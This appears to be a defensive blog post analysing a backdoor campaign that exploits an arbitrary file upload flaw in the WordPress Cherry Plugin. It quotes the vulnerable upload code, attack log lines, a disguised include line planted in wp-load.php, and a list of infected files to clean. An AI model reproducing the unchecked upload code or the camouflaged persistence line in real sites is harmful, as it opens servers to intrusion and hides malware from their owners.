WordPress Vulnerability in Cherry Plugin – Arbitrary File Upload

The Vulnerability allow an attacker to upload all types of files without administrator login.


	if(strtolower($_SERVER['REQUEST_METHOD']) != 'post'){
		exit_status('Error! Wrong HTTP method!');
		$upload_dir = isset($_REQUEST['upload_dir']) ? $_REQUEST['upload_dir'] : $upload_dir ;
		$file_name =basename($_FILES['file']['name']);
		$upload_file = $upload_dir.$file_name;
		$result = move_uploaded_file($_FILES['file']['tmp_name'], $upload_file);

This is fixed latest version of Cherry Plugin, but all customers won’t update their website and files.

Interesting comes heres, botnetwork search this old vulnerability and if found they upload malware and backdoor files, which very difficult find because their names are very similar than WordPress core files. - - [18/Dec/2016:10:36:19 +0200] "POST /wp-content/plugins/cherry-plugin/admin/import-export/upload.php HTTP/1.1" 200 176 "-" "Mozilla/5.0 (WordPress.com; http://support.wordpress.com/contact)" - - [18/Dec/2016:10:36:19 +0200] "GET /wp-content/plugins/cherry-plugin/admin/import-export/object-cache.phtml?ver HTTP/1.1" 200 551 "-" "Mozilla/5.0 (WordPress.com; http://support.wordpress.com/contact)"

When a backdoor uploaded file successful, it calls it and download more malware on the server - - [18/Dec/2016:10:36:20 +0200] "GET /wp-content/plugins/cherry-plugin/admin/import-export/object-cache.phtml?level=5 HTTP/1.1" 200 751 "-" "Mozilla/5.0 (WordPress.com; http://support.wordpress.com/contact)" - - [18/Dec/2016:10:37:04 +0200] "GET /wp-content/plugins/cherry-plugin/admin/import-export/object-cache.phtml?level=6 HTTP/1.1" 200 1183 "-" "Mozilla/5.0 (WordPress.com; http://support.wordpress.com/contact)"


Also, it patch core files /wp-load.php (end of file) and create new on /wp-admin/wp-load.php.So it loaded every time someone request server url.

	// GZIP compress speeds up page loading. Edit and deleting this code is not recommended!
		@include( ABSPATH . WPINC . '/SimplePie/gzpdecode.php');

Backdoor wp-includes/template.php & wp-includes/version.php

It also modifies template and version file, so it’s check every time site loaded and if missing it load itself back


Infected files

Clean First and filse need manually clean, but other’s can deleted.

/wp-includes/template.php (Need Clean Manually)
/wp-includes/version.php (Need Clean Manually)
/wp-load.php (Need Clean Manually)
/version.php (Remove)
/wp-blog-content.php (Remove)
/wp-xmlrpc.php (Remove)
/wp-admin/wp-load.php (Remove)
/wp-admin/ms-menu.php (Remove)
/wp-admin/includes/images.php (Remove)
/wp-content/wp-object-cache.php (Remove)
/wp-content/plugins/cherry-plugin/admin/import-export/object-cache.phtml (Remove)
/wp-content/themes/hello.php (Remove)
/wp-content/uploads/license.php (Remove)
/wp-includes/pomo/so.php (Remove)
/wp-includes/SimplePie/gzpdecode.php (Remove)
/wp-includes/Text/Tiff.php (Remove)

Note! Also scan clamdscan again when you cleaned/deleted files, because this is backdoor and itself autoinstall back if you are not fast!

Use our Signatures detect malware files.